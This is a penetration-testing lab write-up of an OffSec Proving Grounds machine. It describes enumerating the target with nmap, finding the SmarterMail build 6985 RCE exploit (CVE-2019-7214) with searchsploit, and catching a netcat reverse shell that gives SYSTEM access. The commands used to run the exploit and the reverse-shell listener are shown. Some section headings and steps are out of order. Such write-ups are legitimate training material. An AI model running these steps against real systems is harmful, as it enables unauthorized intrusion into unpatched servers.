Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
In this lab, we will exploit a remote code execution vulnerability in build 6985 of the SmarterMail application. This exercise enhances your skills in identifying and exploiting vulnerabilities for gaining access to systems.
Scenario
This lab demonstrates exploiting a remote code execution vulnerability in SmarterMail build 6985 to gain SYSTEM-level access on a Windows server. Learners will identify the application version, leverage an RCE exploit, and use a reverse shell payload to compromise the target. This lab emphasizes web application exploitation and highlights the risks of unpatched software.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate open ports and services to identify the SmarterMail application running on port 9998.
- Confirm the application version and search for applicable exploits.
- Deploy the SmarterMail RCE exploit with a reverse shell payload.
- Verify SYSTEM-level access upon successful exploitation.
- Understand the importance of applying patches to mitigate known vulnerabilities.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
┌──(.myenv)─(kali㉿kali)-[~/offsec/algernon]
# Run the helper or analysis script used in this lab step.
└─$ python3 49216.py 192.168.160.65 9998Initial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
─(kali㉿kali)-[~/offsec/algernon]
# Map exposed services and versions on the target.
└─$ nmap -sCV -p- 192.168.160.65
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-10 12:41 -0400
Nmap scan report for 192.168.160.65
Host is up (0.020s latency).
Not shown: 65520 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 04-29-20 10:31PM <DIR> ImapRetrieval
| 06-10-26 09:40AM <DIR> Logs
| 04-29-20 10:31PM <DIR> PopRetrieval
|_04-29-20 10:32PM <DIR> Spool
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
7680/tcp open pando-pub?
9998/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-title: Site doesn\'t have a title (text/html; charset=utf-8).
|_Requested resource was /interface/root
|_http-server-header: Microsoft-IIS/10.0
| uptime-agent-info: HTTP/1.1 400 Bad Request\x0D
| Content-Type: text/html; charset=us-ascii\x0D
| Server: Microsoft-HTTPAPI/2.0\x0D
| Date: Wed, 10 Jun 2026 16:45:17 GMT\x0D
| Connection: close\x0D
| Content-Length: 326\x0D
| \x0D
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">\x0D
| <HTML><HEAD><TITLE>Bad Request</TITLE>\x0D
| <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>\x0D
| <BODY><h2>Bad Request - Invalid Verb</h2>\x0D
| <hr><p>HTTP Error 400. The request verb is invalid.</p>\x0D
|_</BODY></HTML>\x0D
17001/tcp open remoting MS .NET Remoting services
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-06-10T16:45:11
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 217.76 secondsThis block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# Execute the next evidence-gathering step in the authorized lab.
└─$ searchsploit smartermail
-------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------- ---------------------------------
SmarterMail 16 - Arbitrary File Upload | multiple/webapps/48580.py
SmarterMail 7.1.3876 - Directory Traversal | windows/remote/15048.txt
SmarterMail 7.3/7.4 - Multiple Vulnerabilities | asp/webapps/16955.txt
SmarterMail 8.0 - Multiple Cross-Site Scripting Vulnerabilities | asp/webapps/16975.txt
SmarterMail < 7.2.3925 - LDAP Injection | asp/webapps/15189.txt
SmarterMail < 7.2.3925 - Persistent Cross-Site Scripting | asp/webapps/15185.txt
SmarterMail Build 6985 - Remote Code Execution | windows/remote/49216.py
SmarterMail Enterprise and Standard 11.x - Persistent Cross-Site Scripting | asp/webapps/31017.php
smartermail free 9.2 - Persistent Cross-Site Scripting | windows/webapps/20362.py
SmarterTools SmarterMail 4.3 - 'Subject' HTML Injection | php/webapps/31240.txt
SmarterTools SmarterMail 5.0 - HTTP Request Handling Denial of Service | windows/dos/31607.py
-------------------------------------------------------------------------------- ------------------------------This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# Execute the next evidence-gathering step in the authorized lab.
└─$ searchsploit -m 49216
Exploit: SmarterMail Build 6985 - Remote Code Execution
URL: https://www.exploit-db.com/exploits/49216
Path: /usr/share/exploitdb/exploits/windows/remote/49216.py
Codes: CVE-2019-7214
Verified: False
File Type: Python script, ASCII text executable, with very long lines (4852)
Copied to: /home/kali/offsec/algernon/49216.pyThis block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/algernon]
# Create the network connection required for this lab step.
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.205] from (UNKNOWN) [192.168.160.65] 50141
# Inspect the directory for files relevant to the next step.
dir
Directory: C:\Windows\system32Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# The output confirms the effective user and privilege level of the current session.
PS C:\Users\Administrator\Desktop> whoami
nt authority\systemTakeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.